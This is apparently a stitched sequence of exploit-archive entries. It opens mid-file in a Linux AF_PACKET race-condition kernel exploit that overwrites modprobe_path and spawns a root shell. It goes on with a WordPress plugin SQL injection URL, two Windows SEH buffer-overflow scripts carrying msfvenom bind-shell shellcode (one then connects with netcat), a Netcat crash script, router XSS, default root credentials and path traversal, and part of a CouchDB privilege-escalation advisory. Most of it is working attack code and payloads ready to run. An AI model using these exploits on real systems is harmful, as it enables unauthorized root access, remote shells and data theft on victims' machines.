    {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
    {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
    {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
    {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
    {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
    {"4.2.0-25-generic #30~14.04.1",0,0,0,0},
    {"4.2.0-23-generic #28~14.04.1",0,0,0,0},
    {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
    {"4.4.0-47-generic #68",0,0,0,0},
    {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
    {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
    {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
    {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
    {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
    {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
    {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
    {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
    {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
    {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
    {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
    {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
    {"4.8.0-26-generic #28",0,0,0,0},
    {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
    {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
    {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
    {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
    {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
    {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
    {"4.2.0-19-generic #23",0,0,0,0},
    {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
    {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
    {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
    {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
    {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
    {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
    {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
    {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
    {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
    {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
//{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
    {NULL,0,0,0,0}
};

#define VSYSCALL 0xffffffffff600000

#define PAD 64

int pad_fds[PAD];

struct ctl_table {
    const char *procname;
    void *data;
    int maxlen;
    unsigned short mode;
    struct ctl_table *child;
    void *proc_handler;
    void *poll;
    void *extra1;
    void *extra2;
};

#define CONF_RING_FRAMES 1

struct tpacket_req3 tp;
int sfd;
int mapped = 0;

struct timer_list {
    void *next;
    void *prev;
    unsigned long           expires;
    void                    (*function)(unsigned long);
    unsigned long           data;
    unsigned int                     flags;
    int                     slack;
};

void *setsockopt_thread(void *arg)
{
    while(barrier) {
    }
    setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));

    return NULL;
}

void *vers_switcher(void *arg)
{
    int val,x,y;

    while(barrier) {}

    while(1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        y++;

        if(x != 0) break;

        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        if(x != 0) break;

        y++;
    }

    fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
    vers_switcher_done = 1;


    return NULL;
}

#define BUFSIZE 1408
char exploitbuf[BUFSIZE];

void kmalloc(void)
{
    while(1)
        syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}


void pad_kmalloc(void)
{
    int x;

    for(x=0; x<PAD; x++)
        if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
            fprintf(stderr,"pad_kmalloc() socket error\n");
            exit(1);
        }

}

int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    pthread_t setsockopt_thread_thread,a;
    int val;
    socklen_t l;
    struct timer_list *timer;
    int fd;
    struct tpacket_block_desc *pbd;
    int off;
    sigset_t set;

    sigemptyset(&set);

    sigaddset(&set, SIGSEGV);

    if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
        exit(1);
    }

    fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);

    pad_kmalloc();

    fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));

    if (fd==-1) {
        printf("target socket error\n");
        exit(1);
    }

    pad_kmalloc();

    fprintf(stderr,"sockets allocated\n");

    val = TPACKET_V3;

    setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;

//try to set the timeout to 10 seconds
//the default timeout might still be used though depending on when the race was won
    tp.tp_retire_blk_tov = 10000;

    sfd = fd;

    if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
        fprintf(stderr, "Error creating thread\n");
        return 1;
    }


    pthread_create(&a, NULL, vers_switcher, (void *)NULL);

    usleep(200000);

    fprintf(stderr,"removing barrier and spraying..\n");

    memset(exploitbuf,'\x00',BUFSIZE);

    timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
    timer->next = 0;
    timer->prev = 0;

    timer->expires = 4294943360;
    timer->function = (void *)func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;


    barrier = 0;

    usleep(100000);

    while(!vers_switcher_done)usleep(100000);

    l = sizeof(val);
    getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);

    fprintf(stderr,"current packet version = %d\n",val);

    pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);


    if(pbd == MAP_FAILED) {
        fprintf(stderr,"could not map pbd\n");
        exit(1);
    }

    else {
        off = pbd->hdr.bh1.offset_to_first_pkt;
        fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
    }


    if(val == TPACKET_V1 && off != 0) {
        fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
    }

    else {
        fprintf(stderr,"race not won\n");
        exit(2);
    }

    munmap(pbd, tp.tp_block_size * tp.tp_block_nr);

    pthread_create(&a, NULL, verification_func, (void *)NULL);

    fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
    sleep(1);
    fprintf(stderr,"closing socket and verifying..");

    close(sfd);

    kmalloc();

    fprintf(stderr,"all messages sent\n");

    sleep(31337);
    exit(1);
}


int verification_result = 0;

void catch_sigsegv(int sig)
{
    verification_result = 0;
    pthread_exit((void *)1);
}


void *modify_vsyscall(void *arg)
{
    unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
    unsigned long x = (unsigned long)arg;

    sigset_t set;
    sigemptyset(&set);
    sigaddset(&set, SIGSEGV);

    if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
        exit(1);
    }

    signal(SIGSEGV, catch_sigsegv);

    *vsyscall = 0xdeadbeef+x;

    if(*vsyscall == 0xdeadbeef+x) {
        fprintf(stderr,"\nvsyscall page altered!\n");
        verification_result = 1;
        pthread_exit(0);
    }

    return NULL;
}

void verify_stage1(void)
{
    int x;
    pthread_t v_thread;

    sleep(5);

    for(x=0; x<300; x++) {

        pthread_create(&v_thread, NULL, modify_vsyscall, 0);

        pthread_join(v_thread, NULL);

        if(verification_result == 1) {
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    printf("could not modify vsyscall\n");

    exit(1);
}

void verify_stage2(void)
{
    int x;
    struct stat b;

    sleep(5);

    for(x=0; x<300; x++) {

        if(stat("/proc/sys/hack",&b) == 0) {
            fprintf(stderr,"\nsysctl added!\n");
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    printf("could not add sysctl\n");
    exit(1);


}

void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    int status;
    int pid;

retry:

    pid = fork();

    if(pid == 0) {
        try_exploit(func, arg, verification_func);
        exit(1);
    }

    wait(&status);

    printf("\n");

    if(WEXITSTATUS(status) == 2) {
        printf("retrying stage..\n");
        kill(pid, 9);
        sleep(2);
        goto retry;
    }

    else if(WEXITSTATUS(status) != 0) {
        printf("something bad happened, aborting exploit attempt\n");
        exit(-1);
    }



    kill(pid, 9);
}


void wrapper(void)
{
    struct ctl_table *c;

    fprintf(stderr,"exploit starting\n");
    printf("making vsyscall page writable..\n\n");

    exploit(off->set_memory_rw, VSYSCALL, verify_stage1);

    printf("\nstage 1 completed\n");

    sleep(5);

    printf("registering new sysctl..\n\n");

    c = (struct ctl_table *)(VSYSCALL+0x850);

    memset((char *)(VSYSCALL+0x850), '\x00', 1952);

    strcpy((char *)(VSYSCALL+0xf00),"hack");
    memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
    c->procname = (char *)(VSYSCALL+0xf00);
    c->mode = 0666;
    c->proc_handler = (void *)(off->proc_dostring);
    c->data = (void *)(off->modprobe_path);
    c->maxlen=256;
    c->extra1 = (void *)(VSYSCALL+0xe00);
    c->extra2 = (void *)(VSYSCALL+0xd00);

    exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);

    printf("stage 2 completed\n");
}

void launch_rootshell(void)
{
    int fd;
    char buf[256];
    struct stat s;


    fd = open("/proc/sys/hack",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"could not open /proc/sys/hack\n");
        exit(-1);
    }

    memset(buf,'\x00', 256);

    readlink("/proc/self/exe",(char *)&buf,256);

    write(fd,buf,strlen(buf)+1);

    socket(AF_INET,SOCK_STREAM,132);

    if(stat(buf,&s) == 0 && s.st_uid == 0) {
        printf("binary executed by kernel, launching rootshell\n");
        lseek(fd, 0, SEEK_SET);
        write(fd,"/sbin/modprobe",15);
        close(fd);
        execl(buf,buf,NULL);
    }

    else
        printf("could not create rootshell\n");


}

int main(int argc, char **argv)
{
    int status, pid;
    struct utsname u;
    int i, crash = 0;
    char buf[512], *f;


    if(argc == 2 && !strcmp(argv[1],"crash")) {
        crash = 1;
    }


    if(getuid() == 0 && geteuid() == 0 && !crash) {
        chown("/proc/self/exe",0,0);
        chmod("/proc/self/exe",06755);
        exit(-1);
    }

    else if(getuid() != 0 && geteuid() == 0 && !crash) {
        setresuid(0,0,0);
        setresgid(0,0,0);
        execl("/bin/bash","bash","-p",NULL);
        exit(0);
    }

    fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");

    uname(&u);

    if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';

    snprintf(buf,512,"%s %s",u.release,u.version);

    printf("kernel version: %s\n",buf);


    for(i=0; offsets[i].kernel_version != NULL; i++) {
        if(!strcmp(offsets[i].kernel_version,buf)) {

            while(offsets[i].proc_dostring == 0)
                i--;

            off = &offsets[i];
            break;
        }
    }

    if(crash) {
        off = &offsets[0];
        off->set_memory_rw = 0xffffffff41414141;
    }

    if(off) {
        printf("proc_dostring = %p\n",(void *)off->proc_dostring);
        printf("modprobe_path = %p\n",(void *)off->modprobe_path);
        printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
        printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
    }

    if(!off) {
        fprintf(stderr,"i have no offsets for this kernel version..\n");
        exit(-1);
    }

    pid = fork();

    if(pid == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if(unshare(CLONE_NEWNET) != 0)
            fprintf(stderr, "failed to create new network namespace\n");

        wrapper();
        exit(0);
    }

    waitpid(pid, &status, 0);

    launch_rootshell();
    return 0;
}
            
# Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection
# Date: 28/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/
# Software Link: https://wordpress.org/plugins/simple-personal-message/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.3
# Tested on: Windows 8

1 - Description:

$_GET['message'] is not escaped. Is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/05/single-personal-message-1-0-3-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 - Login as regular user (created using wp-login.php?action=register):

2 - Access url:

http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1

3 - Timeline:

28/11/2016 - Discovered
28/11/2016 - vendor notified
            
#!/usr/bin/python
import socket,os,time

#SEH Stack Overflow in GET request 
#DiskBoss Enterprise 7.4.28
#Tested on Windows XP SP3 & Windows 7 Professional
#For educational proposes only

host = "192.168.1.20"
port = 80

#badchars \x00\x09\x0a\x0d\x20
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00\x09\x0a\x0d\x20" -f python
buf =  ""
buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc"
buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8"
buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f"
buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35"
buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43"
buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f"
buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01"
buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6"
buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff"
buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2"
buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9"
buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7"
buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51"
buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04"
buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9"
buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23"
buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98"
buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97"
buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5"
buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5"
buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd"
buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b"
buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b"
buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9"
buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90"
buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8"
buf += "\xc4\x25\x3d\xe9"

#Overwrite SEH handler
stackpivot = "\x5c\x60\x04\x10" #ADD ESP,0x68 + RETN

buf_len = 5250

crash = "\x90"*20 + buf + "\x41"*(2491-20-len(buf)) + stackpivot + "\x44"*(buf_len-8-2487)

request = "GET /" + crash + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request)

s.close()

print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")
            
#!/usr/bin/python
#Open the DupScout client and click on Tools > click on Connect Network Drive > type the content of boom.txt in the "User Name" field. The payload is sent to the DupScout server (port 9126)
#SEH based stack overflow in DupScout server
#Tested in Windows 7 Professional
#For educational proposes only

#msfvenom -a x86 --platform windows -p windows/shell/bind_tcp LPORT=4444 -e x86/alpha_mixed BufferRegister=EAX -f python
buf =  ""
buf += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x49\x6c\x49\x78\x6f\x72\x47\x70\x57\x70\x45\x50\x43"
buf += "\x50\x4e\x69\x49\x75\x30\x31\x59\x50\x31\x74\x4e\x6b"
buf += "\x30\x50\x34\x70\x4e\x6b\x53\x62\x66\x6c\x4c\x4b\x36"
buf += "\x32\x45\x44\x4e\x6b\x52\x52\x44\x68\x34\x4f\x6d\x67"
buf += "\x71\x5a\x51\x36\x76\x51\x49\x6f\x6c\x6c\x57\x4c\x70"
buf += "\x61\x61\x6c\x53\x32\x34\x6c\x61\x30\x4b\x71\x38\x4f"
buf += "\x44\x4d\x43\x31\x78\x47\x4b\x52\x4c\x32\x72\x72\x42"
buf += "\x77\x4e\x6b\x36\x32\x44\x50\x6c\x4b\x72\x6a\x45\x6c"
buf += "\x4e\x6b\x62\x6c\x32\x31\x51\x68\x4d\x33\x71\x58\x36"
buf += "\x61\x78\x51\x72\x71\x4c\x4b\x30\x59\x65\x70\x66\x61"
buf += "\x4a\x73\x6c\x4b\x73\x79\x72\x38\x7a\x43\x64\x7a\x43"
buf += "\x79\x6c\x4b\x46\x54\x6c\x4b\x36\x61\x6a\x76\x75\x61"
buf += "\x49\x6f\x4e\x4c\x5a\x61\x48\x4f\x34\x4d\x55\x51\x4b"
buf += "\x77\x74\x78\x6b\x50\x74\x35\x6b\x46\x35\x53\x73\x4d"
buf += "\x68\x78\x77\x4b\x43\x4d\x31\x34\x62\x55\x4b\x54\x33"
buf += "\x68\x4e\x6b\x73\x68\x64\x64\x66\x61\x58\x53\x73\x56"
buf += "\x6e\x6b\x74\x4c\x50\x4b\x6e\x6b\x73\x68\x75\x4c\x57"
buf += "\x71\x38\x53\x4c\x4b\x44\x44\x6e\x6b\x77\x71\x4e\x30"
buf += "\x6b\x39\x77\x34\x65\x74\x37\x54\x51\x4b\x53\x6b\x30"
buf += "\x61\x46\x39\x43\x6a\x42\x71\x69\x6f\x79\x70\x53\x6f"
buf += "\x53\x6f\x43\x6a\x6e\x6b\x66\x72\x7a\x4b\x4e\x6d\x71"
buf += "\x4d\x71\x78\x74\x73\x70\x32\x65\x50\x75\x50\x75\x38"
buf += "\x34\x37\x54\x33\x56\x52\x71\x4f\x56\x34\x63\x58\x30"
buf += "\x4c\x74\x37\x46\x46\x56\x67\x49\x6f\x4b\x65\x58\x38"
buf += "\x4c\x50\x35\x51\x73\x30\x65\x50\x55\x79\x4b\x74\x71"
buf += "\x44\x30\x50\x71\x78\x51\x39\x4b\x30\x32\x4b\x55\x50"
buf += "\x6b\x4f\x4b\x65\x62\x4a\x66\x6b\x51\x49\x56\x30\x69"
buf += "\x72\x69\x6d\x51\x7a\x65\x51\x32\x4a\x37\x72\x73\x58"
buf += "\x6b\x5a\x76\x6f\x4b\x6f\x4b\x50\x6b\x4f\x59\x45\x5a"
buf += "\x37\x73\x58\x76\x62\x53\x30\x77\x61\x43\x6c\x6b\x39"
buf += "\x48\x66\x43\x5a\x42\x30\x62\x76\x43\x67\x30\x68\x5a"
buf += "\x62\x79\x4b\x54\x77\x53\x57\x6b\x4f\x79\x45\x4f\x75"
buf += "\x6f\x30\x51\x65\x36\x38\x66\x37\x42\x48\x58\x37\x4d"
buf += "\x39\x45\x68\x49\x6f\x49\x6f\x6b\x65\x32\x77\x70\x68"
buf += "\x52\x54\x5a\x4c\x67\x4b\x6d\x31\x69\x6f\x38\x55\x30"
buf += "\x57\x6a\x37\x52\x48\x44\x35\x50\x6e\x70\x4d\x73\x51"
buf += "\x49\x6f\x4e\x35\x62\x4a\x65\x50\x50\x6a\x54\x44\x30"
buf += "\x56\x66\x37\x31\x78\x46\x62\x4a\x79\x78\x48\x71\x4f"
buf += "\x69\x6f\x5a\x75\x4f\x73\x6b\x48\x35\x50\x53\x4e\x66"
buf += "\x4d\x4e\x6b\x45\x66\x73\x5a\x37\x30\x52\x48\x35\x50"
buf += "\x76\x70\x75\x50\x53\x30\x43\x66\x50\x6a\x43\x30\x30"
buf += "\x68\x62\x78\x49\x34\x32\x73\x7a\x45\x4b\x4f\x68\x55"
buf += "\x4d\x43\x56\x33\x70\x6a\x55\x50\x46\x36\x62\x73\x53"
buf += "\x67\x32\x48\x35\x52\x6b\x69\x78\x48\x51\x4f\x79\x6f"
buf += "\x79\x45\x6d\x53\x69\x68\x37\x70\x53\x4e\x67\x77\x46"
buf += "\x61\x39\x53\x55\x79\x6b\x76\x34\x35\x7a\x49\x6f\x33"
buf += "\x41\x41"

nseh = "\x54\x58\x41\x41"
seh = "\x4f\x40\x12\x10"

align = "\x05\x34\x28\x25\x41" #add eax,0x41252843
align += "\x2d\x7e\43\x25\x41" #sub eax,0x4125437e
align += "\x50" #push eax
align += "\xc3" #ret

offset = 1584

buffer = "\x41"*175 + buf 
buffer += "\x42"*(offset-175-len(buf)) 
buffer += nseh + seh 
buffer += align + "\x44"*(1000-len(align))

file = open('boom.txt','w')
file.write(buffer)
file.close()
            
#/usr/bin/python
#-*- Coding: utf-8 -*-

### GNU Netcat 0.7.1 - Out of bounds array write (Access Violation) by n30m1nd ### 

# Date: 2016-11-19
# Exploit Author: n30m1nd
# Vendor Homepage: http://netcat.sourceforge.net/
# Software Link: https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
# Version: 0.7.1
# Tested on: Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux

# Credits
# =======
# Props to Giovanni and Armando creators of this useful piece of software, thank you guys!
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better. See you at AWE!

# How to
# ======
# * Get a distribution that ships with gnu netcat or Compile netcat from sources:
#       * # Download
#       * tar -xzf netcat-0.7.1.tar.gz
#       * cd netcat-0.7.1/
#       * ./configure
#       * make
#       * # Netcat will be deployed in src/netcat
#
# * Set netcat to listen like the following:
#   * ./netcat -nlvp 12347 -T
# * Just run this script on a different terminal
#

# Why?
# ====
# When the Telnet Negotiation is activated (-T option), Netcat parses the incoming packets looking for Telnet Control Codes
# by running them through buggy switch/case code. 
# Aforementioned code fails to safely check for array boundaries resulting in an array out of bounds write.

# Vulnerable code
# ===============
# telnet.c
# ...
# 76   static unsigned char getrq[4];
# 77   static int l = 0;
# 78   unsigned char putrq[4], *buf = ncsock->recvq.pos;
# ...
# 88   /* loop all chars of the string */
# 89   for (i = 0; i < ref_size; i++) {
# 90     /* if we found IAC char OR we are fetching a IAC code string process it */
# 91     if ((buf[i] != TELNET_IAC) && (l == 0))
# ...
#100     getrq[l++] = buf[i]; // BANG!
# 99     /* copy the char in the IAC-code-building buffer */
# ...
# 76   static unsigned char getrq[4];
# 77   static int l = 0;
# 78   unsigned char putrq[4], *buf = ncsock->recvq.pos;

# Exploit code
# ============

import socket

RHOST = "127.0.0.1"
RPORT = 12347

print("[+] Connecting to %s:%d") % (RHOST, RPORT)
s = socket.create_connection((RHOST, RPORT))
s.send("\xFF") # Telnet control character
print("[+] Telnet control character sent")
print("[i] Starting")
try:
	i = 0
	while True: # Loop until it crashes
		i += 1
		s.send("\x30")
except:
	print("[+] GNU Netcat crashed on iteration: %d") % (i)
            
######################
# Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Multiple Vulnerabilities
# Version: Gan9.8U6X-B-TW-R1B020_1T1RP
# Exploit Author : Persian Hack Team
# Tested on [ Win ]
# Date 2016/12/05
######################

1. Cross Site Scripting

PoC : First We Need To login To Panel And page Parameter Vulnerable to Cross Site Scripting
http://192.168.1.1/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=%3Cscript%3Ealert%28%22c_C%22%29%3C/script%3E


2. Default Telnet Root Password.txt

PoC : Username:root Password:root

telnet 192.168.1.1
(none) login: root
Password:root
~ $ cat /proc/version
Linux version 2.6.19 (dsl@crlinux) (gcc version 3.4.6-1.3.6) #3 Fri May 18 13:09:57 CST 2012


3. Directory Traversal.txt

PoC : First We Need To login To Panel And getpage Parameter Vulnerable to Local File Disclosure
http://192.168.1.1/cgi-bin/webproc?getpage=../../../../etc/passwd&var:menu=setup&var:page=
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/APACHE-COUCHDB-LOCAL-PRIVILEGE-ESCALATION.txt

[+] ISR: ApparitionSec



Vendor:
==================
couchdb.apache.org



Product:
==============
CouchDB v2.0.0

Apache CouchDB is open source database software that focuses on ease of use
and having an architecture. It has a document-oriented
NoSQL database architecture and is implemented in the concurrency-oriented
language Erlang; it uses JSON to store data, JavaScript
as its query language using MapReduce, and HTTP for an API.


Vulnerability Type:
===================
Privilege Escalation (Insecure File Permissions)



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

CouchDB sets weak file permissions potentially allowing 'Standard' Windows
users to elevate privileges. The "nssm.exe" (Apache CouchDB)
executable can be replaced by a 'Standard' non administrator user, allowing
them to add a backdoor Administrator account once the
"Apache CouchDB" service is restarted or system rebooted.

As Apache CouchDB runs as LOCALSYSTEM, standard users can now execute
arbitrary code with the privileges of the SYSTEM.

Issue is the 'C' flag (Change) for 'Authenticated Users' group.


e.g.

c:\CouchDB>cacls * | findstr Users

               BUILTIN\Users:(OI)(CI)(ID)R
               NT AUTHORITY\Authenticated Users:(ID)C
               NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
